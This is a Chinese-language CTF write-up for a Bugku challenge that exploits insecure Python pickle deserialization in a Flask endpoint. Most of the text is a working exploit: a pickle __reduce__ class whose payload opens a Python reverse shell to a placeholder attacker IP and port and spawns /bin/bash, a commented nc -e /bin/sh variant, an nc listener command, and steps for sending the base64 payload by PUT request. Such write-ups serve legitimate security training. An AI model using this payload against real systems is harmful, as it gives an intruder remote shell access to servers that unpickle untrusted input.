Bugku Python Pickle Unserializer

（1）搜索站点页面：

dirsearch -u http://114.67.175.224:12574 -e *

发现源代码source页面：

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
"""
@ Author: HeliantHuS
@ Codes are far away from bugs with the animal protecting
@ Time:  2021-08-05
@ FileName: main.py
"""
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return """
        <title>404 Not Found</title>
        <h1>Not Found</h1>
        <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
    """, 666, [("TIPS", "/source")]

@app.route("/source", methods=["GET"])
def source():
    with open(__file__, "r") as fp:
        return fp.read()

@app.route("/flag", methods=["PUT"])
def get_flag():
    try:
        data = request.json
        if data:
            return pickle.loads(base64.b64decode(data["payload"]))
        return "MISSED"
    except:
        return "OH NO!!!"

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)

（2）生成序列化shell，nc连接不可用，使用python一句话shell，注意subprocess.call的参数方式：

import pickle
import base64
import os
import subprocess


class A(object):
def __reduce__(self):
# return (subprocess.call,(['whoami'],))
s = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPAddress",Port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);"""
return (subprocess.call, (["python3","-c",s],))
# return (subprocess.call, (["nc","IPAddress", "Port","-e","/bin/sh"],))

a = A()
print(base64.b64encode(pickle.dumps(a)))

（3）可从公网访问的控制机启动监听： nc -lvvp Port

（4）Postman 发送，选择PUT方法，Body中选择raw、JSON方式，根据服务器源代码，此处需要标注“payload”及序列化字符串：

（5）控制机获取反弹shell：

（6）根目录下flag：